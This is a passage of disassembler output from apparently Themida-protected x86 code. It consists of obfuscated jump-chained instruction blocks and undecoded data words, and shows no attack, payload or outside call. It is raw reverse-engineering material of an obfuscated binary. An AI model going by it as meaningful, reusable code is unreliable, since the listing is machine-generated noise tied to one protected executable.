; ---------------------------------------------------------------------------


loc_55A0A1:				; CODE XREF: Themida_:00561AF8j
		dec	ebx
		xor	ebx, 69A9143Ah
		add	ebp, ebx
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		sub	esp, 4
		jmp	loc_567CFB
; ---------------------------------------------------------------------------
		db 0BFh
		dd 5692427Fh, 7F39C781h, 474F7A7Eh, 9EDFF781h, 0C781CEA8h
		dd 0EF27F846h, 4247C01h, 50243C8Bh, 405E089h, 83000000h
		dd 48704C0h, 10685C24h,	0E9000028h, 0FCDh, 0F181D1F7h
		dd 0E45DE872h, 0C8BCA31h, 4C48124h, 81000000h, 8EACD0C2h
		dd 26EE81F9h, 0E92B8460h, 517Ch, 0FF8B1BE9h, 1C77FFFFh
		dd 1858669Dh, 0E99C2404h, 0FFFF8B0Ch
; ---------------------------------------------------------------------------


loc_55A12C:				; CODE XREF: Themida_:00557F0Cj
		mov	esi, ebp
		pop	ebp
		sub	ecx, 5FA10DA6h
		add	ecx, esi
		add	ecx, 5FA10DA6h
		pop	esi
		mov	edx, ecx
		pop	ecx
		sub	edx, 0FFFFFFFFh
		shl	edx, 5
		push	esi
		mov	esi, 1
		jmp	loc_5544B4
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0C513E9h, 58EA8100h,	0E90C1977h, 8F97h, 0D188FAB2h
		dd 8324148Bh, 0EC8104C4h, 4, 0B2241489h, 33686628h, 0C896661h
		dd 30AAB124h, 0C8B66CAh, 2A28E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A192:				; CODE XREF: Themida_:00555C1Aj
		mov	esp, [esp]
		add	esp, 4
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_552C38
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 5FE7E9h, 59CE2900h, 0C6B5E9h, 2434FF00h
		db 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	0B9Ah
		jmp	loc_567D0C
; ---------------------------------------------------------------------------
		dd 0E9E08950h, 0FFFFFC96h, 9419E95Eh, 0C9FE0000h, 0E901E980h
		dd 9948h, 0BB535D54h, 0BA655AFh, 0FFC025E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A1F1:				; CODE XREF: Themida_:0055AD32j
		and	esi, edx
		pop	edx
		shr	esi, 6
		jmp	loc_5566C2
; ---------------------------------------------------------------------------


loc_55A1FC:				; CODE XREF: Themida_:005540A7j
		push	1F24h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_566205
; ---------------------------------------------------------------------------
		db 5Bh,	68h, 40h
		dd 89000018h, 18B5240Ch, 0FFEFA9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A21D:				; CODE XREF: Themida_:005559D7j
		add	dword ptr [esp], 1
		pop	edi
		or	edi, 1CBE37D9h
		sub	edi, 0AFAD6C6Ch
		sub	esi, 5A5B0810h
		jmp	loc_553509
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 14h
		dd 148B5424h, 4C48124h,	81000000h, 4C2h, 0BA525600h, 4
		dd 8BA6E9h, 241CF700h, 89D6E99Ch, 5059FFFFh, 9004BAB8h
		dd 4AED8102h, 123AE03h,	4AC581C5h, 5823AE03h, 0F051ED81h
		dd 0E9894116h, 4ABD555Dh, 45739B64h, 0BA525645h, 0F2B2C9Dh
		dd 575AD689h, 1821B7BFh, 0FEF7816Fh, 0C1059514h, 0EFC107E7h
		dd 0AD37E902h, 0CFFFFFFh, 85E99C24h
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A2B3:				; CODE XREF: Themida_:0055B526j
		pop	ebx
		push	edx
		mov	edx, 14693B8Ch
		and	edx, 7D400868h
		shl	edx, 1
		jmp	loc_553C2D
; ---------------------------------------------------------------------------
aVwsli		db 'VW髨',0
		align 2


loc_55A2CE:				; CODE XREF: Themida_:00567F5Dj
		push	edi
		jmp	loc_55E690
; ---------------------------------------------------------------------------
		dd 0BAE9CA01h, 5CFFFFE6h, 0BB241C89h, 476C2A84h, 4FBFE381h
		dd 30E95E16h, 0BA000058h, 49FB628Ah, 97FE9h, 24148B00h
		dd 4C481h, 348B0000h, 4C48324h,	52B86857h, 24890000h, 24048324h
		dd 0C7815F04h, 4, 4EF81h, 0FE90000h, 8BFFFFB0h,	0C483242Ch
		dd 24048704h, 11A3E9h, 24540100h, 815A5A04h, 4C2h, 4C28300h
		dd 0FFFA2FE9h, 2EDC1FFh, 33E1ED81h, 0BF576BB4h,	0CE0588Fh
		dd 9DEEE9h, 5E545600h, 4C681h, 0EE810000h, 4, 2474FF56h
		dd 48F5E04h, 34895C24h,	2474FF24h, 2434FF04h, 4C4835Eh
		dd 0AA7DE9h
		db 0
; ---------------------------------------------------------------------------


loc_55A389:				; CODE XREF: Themida_:00566FDCj
		push	edx
		mov	edx, 7C00241Fh
		jmp	loc_567BE7
; ---------------------------------------------------------------------------
		dd 6624248Bh, 66793D68h, 68241489h, 7211h, 92B4E9h, 2BD00h
		dd 0EF890000h, 0E9F8015Dh, 0FFFFDC9Ah, 8740ADBEh, 8EEC149h
		dd 5F46EE81h, 0F001FE97h, 5E2434FFh, 5904C483h,	4BA52h
		dd 622D0000h, 57ED36Ch,	443836C9h, 9548E9h, 4C48300h, 29C3E9h
		dd 4D006800h, 3C890000h, 0E1895124h, 0FFD0DCE9h, 24248BFFh
		dd 0B8240489h, 4, 0D07E9h, 256EBD00h, 0EDC15F06h, 0E9DDF706h
		dd 0FFFFC0FBh, 4EC81h, 1C890000h, 15685624h, 5E342517h
		dd 0FFE969E9h, 0F7DBF7FFh, 8E44E9DBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A43A:				; CODE XREF: Themida_:00554734j
		push	ebp
		push	esi
		jmp	loc_565813
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 48F5804h, 24248B24h,	405h, 20500h, 0FF500000h, 58042474h
		dd 0E924048Fh, 0BB35h, 70C2E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A46A:				; CODE XREF: Themida_:005554F8j
		pop	edx
		sub	ebp, 7F645D6Dh
		sub	edi, 59D20283h
		sub	edi, ebp
		jmp	loc_5562EB
; ---------------------------------------------------------------------------


loc_55A47E:				; CODE XREF: Themida_:005589DFj
		push	ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55FF61
; ---------------------------------------------------------------------------
		dd 0CDFEC5FEh, 99E9D5F6h, 0D10000D8h, 7931E9EBh, 0EF810000h
		dd 112944CDh, 96E9F701h, 5Fh, 865966EBh, 359BE9C3h, 875B0000h
		dd 535C243Ch, 2BBh, 258E2D00h, 0D8017495h, 0FFF513E9h
		dd 3877FFFFh, 0E92434FFh, 916Fh
; ---------------------------------------------------------------------------


loc_55A4D8:				; CODE XREF: Themida_:0056117Ej
		mov	[esp], ecx
		jmp	loc_55B428
; ---------------------------------------------------------------------------
		dd 4EC81h, 17E90000h, 8BFFFF88h, 0EC81243Ch, 4,	4F1CE9h
		dd 242C8700h, 30C18159h, 0E9A5364Bh, 0FFFFAFFDh
; ---------------------------------------------------------------------------


loc_55A508:				; CODE XREF: Themida_:005619D3j
		push	6788h
		mov	[esp], ebp
		jmp	loc_5532C1
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0C4h
		dd 4, 5C24048Fh, 24040166h, 870EE99Ch, 1487FFFFh, 24248B24h
		dd 4BB0F66h, 0FDE99C24h, 0FFFFFF86h, 669D1C77h,	24041058h
		dd 86EEE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A54A:				; CODE XREF: Themida_:005630E0j
		add	eax, 7602700Ch
		pop	edi
		add	eax, esi
		add	eax, 7D4F0290h
		jmp	loc_5663A1
; ---------------------------------------------------------------------------


loc_55A55C:				; CODE XREF: Themida_:0055BDF2j
		mov	ebp, 4
		add	eax, ebp
		jmp	loc_5660BE
; ---------------------------------------------------------------------------
		dd 592434FFh, 8904EC83h, 9168242Ch, 89000061h, 79E92424h
		dd 10000D9h, 7FE8E9CFh,	0D8010000h, 220C9405h, 7B3A0520h
		dd 85055EDCh, 68550511h, 5175h,	56241C89h, 0AB27CA68h
		dd 0EE815E4Ah, 0A34D297h, 89F08950h, 0D41DE9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A5B6:				; CODE XREF: Themida_:00566B46j
		push	ecx
		jmp	loc_56108B
; ---------------------------------------------------------------------------
		dd 42474FFh, 0FFBE5BE9h, 0E9E789FFh, 0B712h
; ---------------------------------------------------------------------------


loc_55A5CC:				; CODE XREF: Themida_:005587D7j
		add	[eax], edi
		push	dword ptr [esp]
		jmp	loc_562085
; ---------------------------------------------------------------------------


loc_55A5D6:				; CODE XREF: Themida_:0055D148j
		push	edx
		mov	edx, ebx
		jmp	loc_5531B0
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 0FFFFFFFFh, 0EC96F181h, 74E9ACFDh
		db 99h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A5EF:				; CODE XREF: Themida_:00566227j
		push	569Dh
		mov	[esp], edi
		mov	edi, 1
		jmp	loc_565A95
; ---------------------------------------------------------------------------


loc_55A601:				; CODE XREF: Themida_:00566ACAj
		add	esp, 4
		pop	ecx
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_563417
; ---------------------------------------------------------------------------


loc_55A618:				; CODE XREF: Themida_:005663C4j
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esp
		push	eax
		mov	eax, 4
		jmp	loc_55301C
; ---------------------------------------------------------------------------
		db 81h
		dd 9A188FF6h, 384AE932h, 0E9500000h, 1EF0h, 793B68h, 24148900h
		dd 1004AFBAh, 0E5C5E901h, 425AFFFFh, 70C2F281h,	0D7011455h
		dd 4C7835Ah, 8B67E9h, 0CAC38000h, 50B7535Ah, 0E950EF80h
		dd 1CDh
; ---------------------------------------------------------------------------


loc_55A680:				; CODE XREF: Themida_:00567178j
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		pop	esi
		push	2C37h
		mov	[esp], ebx
		jmp	loc_566AB4
; ---------------------------------------------------------------------------
		db 0F6h, 0DBh, 80h
		dd 0CB8043E3h, 44C380FAh, 0D830CFB0h, 83241C8Bh, 1E2404C4h
		dd 0E9A5B652h, 0A6ACh, 2C5815Ch, 87000000h, 248B242Ch
		dd 9CC88424h, 0FF856FE9h, 0E9F000FFh, 0BE5Ch, 8924248Bh
		dd 0EC832434h, 24248904h, 4240481h, 0E9000000h,	33BEh
		dd 0BA241489h, 0DA61FE05h, 575AD329h, 9D11E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A6F9:				; CODE XREF: Themida_:0055521Bj
		xor	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	edi, esi
		pop	esi
		pop	edx
		and	eax, edi
		pop	edi
		or	edx, eax
		shl	edx, 1
		push	esi
		jmp	loc_55EEFD
; ---------------------------------------------------------------------------
		dw 0EBC0h
		dd 66D3F606h, 805DB551h, 0C3801FEBh, 80EB28BFh,	0C380BFEBh
		dd 0D765E91Fh, 0E3C10000h, 12C38103h, 1D7A44Eh,	0D30BE9DEh
		dd 0C481FFFFh, 2, 521CF380h, 0C2FE2BB2h, 6866D2F6h, 14280000h
		dd 24148A24h, 0FE02C483h, 10C0E9CAh, 0EB280000h, 973DE959h
		dd 0EC83FFFFh, 240C8904h, 0C181E189h, 4, 62ECB850h, 812D43C1h
		dd 251A4523h, 58D62B6Ah, 0C3250705h, 41CA2D2Dh,	0B951149Dh
		dd 0DE85F15Dh, 2959C801h, 0C8758C1h, 3C895C24h,	2268BF24h
		dd 0E7C16D24h, 0FBCF8103h, 8140B93Ah, 0E71F5AF7h, 0F7D7F71Fh
		dd 5CF781D7h, 81338A21h, 650F86EAh, 81FA0160h, 650F86C2h
		dd 0D2F75F60h, 0FF9820E9h, 0C7815FFFh, 805289FFh, 595FFA29h
		dd 3AD0E952h, 5F680000h, 89000053h, 65BA2414h, 8113F73Dh
		dd 670D80F2h, 7BEA815Ch, 56793E31h, 0FFC6F6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A809:				; CODE XREF: Themida_:00555C01j
		add	dh, bl
		pop	ebx
		add	dh, 27h
		sub	dh, 0C9h
		xor	dh, 97h
		add	al, dh
		pop	edx
		jmp	loc_562FC2
; ---------------------------------------------------------------------------


loc_55A81D:				; CODE XREF: Themida_:0055BD57j
		push	7CD96B4Eh
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		shr	edi, 3
		dec	edi
		jmp	loc_561F13
; ---------------------------------------------------------------------------


loc_55A835:				; CODE XREF: Themida_:00562A99j
		inc	ebp
		dec	ebp
		jmp	loc_552D68
; ---------------------------------------------------------------------------
		dd 8124048Bh, 4C4h, 5DEF3100h, 0FF9AAAE9h, 80EFD0FFh, 0F828A0C7h
		dd 4D8285Bh, 2434FFA0h,	4C4835Bh, 0E9585450h, 0FFFF9BA0h
; ---------------------------------------------------------------------------


loc_55A868:				; CODE XREF: Themida_:00554322j
		sub	esi, eax
		mov	eax, [esp]
		add	esp, 4
		and	ecx, esi
		pop	esi
		jmp	loc_5577D5
; ---------------------------------------------------------------------------


loc_55A87B:				; CODE XREF: Themida_:00563044j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 296E61EFh
		xchg	eax, ebp
		neg	eax
		xchg	eax, ebp
		push	ebx
		mov	ebx, 0D6919E13h
		jmp	loc_55C152
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0B9240C89h, 4, 0FF85BDE9h, 48966FFh,	4EC8324h, 0B6241489h
		dd 2815B041h, 0C6085AF0h, 0DEF65866h, 80FFEE80h, 0CE8028E6h
		dd 0B551667Ah, 15F58079h, 0ED80CDFEh, 0E1C680C8h, 0EE80EE28h
		dd 515966E1h, 0E980AEB1h, 0BE03E905h, 0A680000h, 8900003Ah
		dd 5868243Ch, 89000019h, 4832424h, 34FF0424h, 0B0DAE924h
		dd 82DFFFFh, 0E924691Eh, 6C75h,	0C381665Dh, 66511DBFh
		dd 664349B9h, 0E1816649h, 816668B7h, 0E9576DC9h, 0B140h
		dd 9C2424D3h, 0FF8307E9h, 48F5FFFh, 24248B24h, 0E9240489h
		dd 744Fh
; ---------------------------------------------------------------------------


loc_55A940:				; CODE XREF: Themida_:00555396j
		add	esp, 4
		jmp	loc_557D56
; ---------------------------------------------------------------------------
		dd 4C481h, 0D2F70000h, 4D5DF281h, 0D6313109h, 0FFEE815Ah
		dd 4EFFFFFFh, 0D2B8E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A966:				; CODE XREF: Themida_:005665ADj
		add	ebx, eax
		sub	ebx, 4B8046D5h
		pop	eax
		jmp	loc_55C008
; ---------------------------------------------------------------------------


loc_55A974:				; CODE XREF: Themida_:005643F1j
		pop	eax
		mov	esi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp]
		jmp	loc_565EE2
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48324h, 4EC81h, 14890000h,	81E28924h, 4C2h, 83E95000h
		dd 81000008h, 1DA4F5h, 0F1F58128h, 113D26Ch, 4AE95DEAh
		dd 83FFFFCBh, 0B95104C4h, 2C560FEAh, 0E907E9C1h, 0FFFFCAA6h
		dd 453AA4BBh, 8BDD2939h, 8AE9241Ch
		db 0BFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A9D7:				; CODE XREF: Themida_:00563088j
		pop	eax
		add	eax, 0FFFFFFFFh
		push	ebp
		push	eax
		jmp	loc_56055A
; ---------------------------------------------------------------------------


loc_55A9E4:				; CODE XREF: Themida_:005657F6j
		pop	esp
		jmp	loc_552C38
; ---------------------------------------------------------------------------


loc_55A9EA:				; CODE XREF: Themida_:00559DE7j
		mov	eax, [esp]
		push	0B44h
		mov	[esp], eax
		mov	eax, esp
		sub	esp, 4
		jmp	loc_552D2D
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 48F5C24h, 29665C24h,	0E99C2404h, 0FFFF8224h
; ---------------------------------------------------------------------------


loc_55AA14:				; CODE XREF: Themida_:00553279j
		not	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esi
		xor	ebp, esi
		xor	esi, ebp
		xor	ebp, esi
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		mov	ebx, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		push	45A5h
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		jmp	loc_55B756
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 0B55E3AC2h, 0F866E92Dh, 5066FFFFh, 0A563E9h,	0E9EA8900h
		dd 3D34h, 5358C689h, 0FFF842E9h, 48F54FFh, 43E95324h, 0BAFFFF9Dh
		dd 3BA5715Fh, 0A57163BDh, 5AD5293Bh, 535DE801h,	8663E9h
		dd 74E95E00h, 0B5FFFFA6h, 59E828A9h, 5124148Bh,	0BD55E189h
		dd 1E640411h, 668AE581h, 0ED815651h, 1556640Dh,	0E8C2E94Dh
		dd 2C87FFFFh, 24248B24h, 0FFFE4FE9h, 66AD66FFh,	9168D831h
		dd 89000023h, 1DE92434h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55AAEB:				; CODE XREF: Themida_:0055586Aj
		pop	eax
		pop	edx
		add	edx, 4
		sub	esp, 4
		mov	[esp], esi
		push	5299h
		mov	[esp], eax
		push	475F3525h
		jmp	loc_557C09
; ---------------------------------------------------------------------------
aS?w		db '^é?W',0
		db 0
; ---------------------------------------------------------------------------


loc_55AB11:				; CODE XREF: Themida_:0055FF87j
		not	ebx
		push	ecx
		push	ebx
		mov	ebx, 61883733h
		mov	ecx, 83519693h
		add	ecx, 4B4504EDh
		add	ecx, 23255C66h
		jmp	loc_55D012
; ---------------------------------------------------------------------------
		dd 33241C31h, 895C241Ch, 0E189240Ch, 4BD55h, 0E9010000h
		dd 0E956575Dh, 90Eh, 5E08950h, 4, 4BA52h, 0D0290000h, 74FF505Ah
		dd 48B0424h, 4C48124h, 8F000000h, 0E95C2404h, 8149h
; ---------------------------------------------------------------------------


loc_55AB74:				; CODE XREF: Themida_:00563E5Cj
		xor	ebp, 8D009C04h
		add	esi, ebp
		mov	ebp, [esp]
		jmp	loc_563BDA
; ---------------------------------------------------------------------------
		dd 1EE835Dh, 4EC81h, 2C890000h,	6D59BD24h, 0E58106F3h
		dd 5D380799h, 0ACBEED81h, 0EE31EA14h, 384CE9h, 0FBBE5600h
		dd 4651CF55h, 84E9DEF7h, 3300003Eh, 248B240Ch, 4C82824h
		dd 0D72C5932h, 673868h,	24148900h, 0B6B05066h, 5866C688h
		dd 88E98A04h
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55ABDB:				; CODE XREF: Themida_:005653C6j
		pop	edi
		jmp	loc_5600D8
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 87000000h, 685C2434h, 0D7Eh,	0A74EE9h, 0C2835C00h, 6157E904h
		dd 0C6290000h, 674AE9h
		db 0
; ---------------------------------------------------------------------------


loc_55AC05:				; CODE XREF: Themida_:005615ECj
		push	ebp
		jmp	loc_5650B1
; ---------------------------------------------------------------------------
aXsL		db 'XéÑl',0
		dd 2434FF00h, 8324048Bh, 0E95604C4h, 7AE7h, 24048B66h
		dd 815B5453h, 4C3h, 4EB8100h, 33000000h, 1C31241Ch, 241C3324h
		dd 2720E9h
		db 0
; ---------------------------------------------------------------------------


loc_55AC41:				; CODE XREF: Themida_:00560357j
		push	356Dh
		mov	[esp], esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		push	40Ch
		mov	[esp], edx
		push	eax
		mov	eax, 0FD51289h
		mov	edx, eax
		pop	eax
		or	edx, 66317993h
		neg	edx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5600CF
; ---------------------------------------------------------------------------
		dd 4EC8353h, 0E9241489h, 0FFFFCF97h
; ---------------------------------------------------------------------------


loc_55AC84:				; CODE XREF: Themida_:00567D6Fj
		push	esi
		push	edi
		jmp	loc_55E372
; ---------------------------------------------------------------------------


loc_55AC8B:				; CODE XREF: Themida_:005575DEj
		push	edx
		jmp	loc_5574B7
; ---------------------------------------------------------------------------
		db 83h,	4, 24h
		dd 0C5815D04h, 4, 2DCA68h, 24148900h, 2A4CEA68h, 3E95A2Fh
		dd 0BEFFFFB1h, 33236471h, 0D59C681h, 0D6F775FAh, 3FE9BA52h
		dd 0EA810653h, 68F478EAh, 0FF95E1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55ACCD:				; CODE XREF: Themida_:00563CC9j
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		jmp	loc_55F161
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC832404h, 241C8904h, 7EAAE9h, 0C1EB8100h, 5E262301h
		dd 0E9585450h, 0ABCBh, 24048B66h, 54E368h, 0B8CEE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55AD0A:				; CODE XREF: Themida_:0055DD78j
		sub	eax, 3F6B2F92h
		dec	eax
		neg	eax
		sub	eax, 12B8838Ch
		sub	edx, eax
		jmp	loc_566DB8
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 24043124h, 0FF7F0FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AD29:				; CODE XREF: Themida_:0055E377j
		mov	esi, edi
		pop	edi
		push	edx
		mov	edx, 4E1546E0h
		jmp	loc_55A1F1
; ---------------------------------------------------------------------------


loc_55AD37:				; CODE XREF: Themida_:0055F7F8j
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		jmp	loc_55E517
; ---------------------------------------------------------------------------


loc_55AD4F:				; CODE XREF: Themida_:0055EF64j
		xor	edx, 0A7D6A536h
		or	ecx, edx
		jmp	loc_55D791
; ---------------------------------------------------------------------------
		dd 8104C483h, 4C6h, 1466E900h, 0BD660000h, 0C16612A0h
		dd 0D16603EDh, 0F58166E5h, 81662615h, 66E971C5h, 665DEE01h
		dd 0BD665551h, 0BBE97CB6h, 0AD00003Fh, 69747605h, 2B02052Ah
		dd 0D8016D33h, 332B022Dh, 0DD2EE96Dh, 0CFFFFFFh, 2414F724h
		dd 0E924148Bh, 0FFFFFB94h
; ---------------------------------------------------------------------------


loc_55ADB4:				; CODE XREF: Themida_:0056656Fj
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_55F280
; ---------------------------------------------------------------------------
aXhxa		db 'Xh•A',0
		dw 8900h
		dd 2B82404h, 57000000h,	501168h, 243C8B24h, 5D3FE9h, 0F1C78100h
		dd 811E747Dh, 0F70B3EFh, 43F78109h, 81309E73h, 221179F7h
		dd 5FFB019Dh, 1C8BDD01h, 4C48324h, 4C581h, 2C870000h, 9B09E924h
		dd 5966FFFFh, 0BF2CF62Ch, 0BF04D800h, 0C164E9h,	64E95C00h
		dd 1000055h, 0BEF81EFh,	811BF74Ah, 680ED2C7h, 0AA6E914h
		dd 48F0000h, 24248B24h,	9C240428h, 97DE9h, 241C8900h, 985DE2BBh
		dd 0BE38144h, 6811060Fh, 6260h,	0B8240489h, 281B1234h
		dd 5158C309h, 0E32B88B9h, 0E9CB2977h, 0A739h
; ---------------------------------------------------------------------------


loc_55AE6C:				; CODE XREF: Themida_:00554890j
		or	ebp, 6BE105D1h
		push	36DCh
		mov	[esp], ecx
		push	edx
		mov	edx, 61850EF8h
		mov	ecx, 305572D2h
		add	ecx, edx
		jmp	loc_559C50
; ---------------------------------------------------------------------------


loc_55AE8C:				; CODE XREF: Themida_:0055C093j
		add	esp, 4
		jmp	loc_566BF2
; ---------------------------------------------------------------------------
		db 88h
		dd 0E9FD88E7h, 7C31h, 31E9C581h, 85E94486h, 81FFFFE0h
		dd 4C4h, 94FDE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AEB6:				; CODE XREF: Themida_:0055F399j
		add	al, dh
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		push	594h
		mov	[esp], edx
		push	ebx
		jmp	loc_567BBC
; ---------------------------------------------------------------------------
		dd 5A2434FFh, 7B0868h, 240C8900h, 0C181E189h, 4, 0E904C183h
		dd 0FFFFB335h, 51242C89h, 0A917F3B9h, 8B5D5153h, 0C9E9240Ch
		db 0A6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55AEFF:				; CODE XREF: Themida_:005564BEj
		mov	[esp], esi
		push	eax
		push	esi
		jmp	loc_55D0BA
; ---------------------------------------------------------------------------
		db 81h,	0CFh, 0DAh
		dd 8154F765h, 4B37EBCFh, 93F78144h, 0E9503379h,	0FFFFAF90h
		dd 4C4815Bh, 0E9000000h, 5E35h,	5857C281h, 6859254Eh, 49F0h
		dd 0B8240489h, 2, 48BC229h, 4C48124h, 0E9000000h, 0ABD4h
		dd 50A9F381h, 0DD293CF0h, 81241C8Bh, 4C4h, 5DEB0900h, 2693E9h
		dd 24248B00h, 0FFAF36E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AF71:				; CODE XREF: Themida_:00561F4Aj
		mov	[esp], ebx
		sub	dword ptr [esp], 3D7A7C9Eh
		pop	eax
		push	7E6Fh
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 24604272h
		push	ecx
		push	edi
		jmp	loc_565396
; ---------------------------------------------------------------------------
		db 45h,	81h, 0F5h
		dd 0A5482B2Fh, 315DEE89h, 248BE9F5h, 0EF810000h, 361A6B3Fh
		dd 21D4C781h, 0FD2992A7h, 0E9EA295Fh, 4CFFh
; ---------------------------------------------------------------------------


loc_55AFC8:				; CODE XREF: Themida_:0055E4B1j
		pop	eax
		add	esi, 2
		xchg	esi, [esp]
		jmp	loc_56445C
; ---------------------------------------------------------------------------


loc_55AFD4:				; CODE XREF: Themida_:0055DA7Aj
		add	esi, 24482D42h
		sub	esi, edi
		sub	esi, 24482D42h
		pop	edi
		shl	esi, 3
		add	esi, 1125DB4Ch
		jmp	loc_55565D
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 29000000h, 2434FFF0h, 5124348Bh, 0C181E189h,	4, 4C181h
		dd 2EE90000h, 89000009h, 74FF240Ch, 9BE90424h
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B01F:				; CODE XREF: Themida_:00554261j
		mov	ebx, 4
		jmp	loc_5652EE
; ---------------------------------------------------------------------------
		db 51h,	2 dup(0B9h)
		dd 0B80B2744h, 1CE95549h, 0C74A9E05h, 2DC8295Ah, 5AC74A9Eh
		dd 0BBCE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B046:				; CODE XREF: Themida_:0055B29Aj
		mov	[esp], ecx
		push	edi
		mov	edi, 72F649D1h
		jmp	loc_559F60
; ---------------------------------------------------------------------------
		dd offset loc_40E064+4
		dd 243C8900h, 4BB53h, 8B530000h, 0C483243Ch, 5E27E904h
		dd 7D680000h, 89000032h, 41E9243Ch
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B07B:				; CODE XREF: Themida_:00553221j
		xor	ebx, 2E997FAFh
		sub	ebx, 50DA3BB8h
		add	ebx, 55A91F43h
		shl	ebx, 5
		xor	ebx, 4DE0B066h
		add	eax, ebx
		pop	ebx
		mov	ecx, eax
		jmp	loc_56065C
; ---------------------------------------------------------------------------
		dd 89FB8953h, 69D2E9DDh, 0EC810000h, 4,	0B7241C89h, 80EFD09Dh
		dd 0DFF63CE7h, 6EB8E9h,	24048900h, 0B6968h, 899FE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B0CE:				; CODE XREF: Themida_:00565FD3j
		pop	edi
		jmp	loc_5619B8
; ---------------------------------------------------------------------------
		dd 15FCF281h, 0E2C146EFh, 0CD43E904h, 14F70000h, 7C14E924h
		dd 8B5A0000h, 0C481241Ch, 4, 2ACD6855h,	34FF088Ch, 0C4835D24h
		dd 2BA5204h, 293B4823h,	0B2055AD0h, 0E947A012h,	72C7h
		dd 5DB3EF81h, 0C7012FB1h, 4EC81h, 0C890000h, 707EB924h
		dd 8BE92036h, 0FF00007Ah, 8B042474h, 0C481241Ch, 4, 0FFDCE5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B141:				; CODE XREF: Themida_:0055D3E3j
		shr	ebp, 5
		push	esi
		mov	esi, 7CD35721h
		neg	esi
		shl	esi, 5
		jmp	loc_561368
; ---------------------------------------------------------------------------
		dd 17E9E689h, 0F7FFFF99h, 0CEF781D7h, 81658E47h, 0D85B43C7h
		dd 1D4DE993h, 0C300000h, 240C3224h, 68240C30h, 3775h, 86240C89h
		dd 0D1F6240Ch, 8B240C86h, 0EC81240Ch, 4, 0E9241C89h, 0FFFFCC3Ch
; ---------------------------------------------------------------------------


loc_55B198:				; CODE XREF: Themida_:00557D61j
		mov	[esp], ecx
		mov	ecx, esp
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	167Dh
		jmp	loc_565D13
; ---------------------------------------------------------------------------
		db 52h,	0B2h, 5Dh
		dd 0E2C0C2FEh, 0D602E905h, 0E959FFFFh, 0FFFF9E81h, 0C381F301h
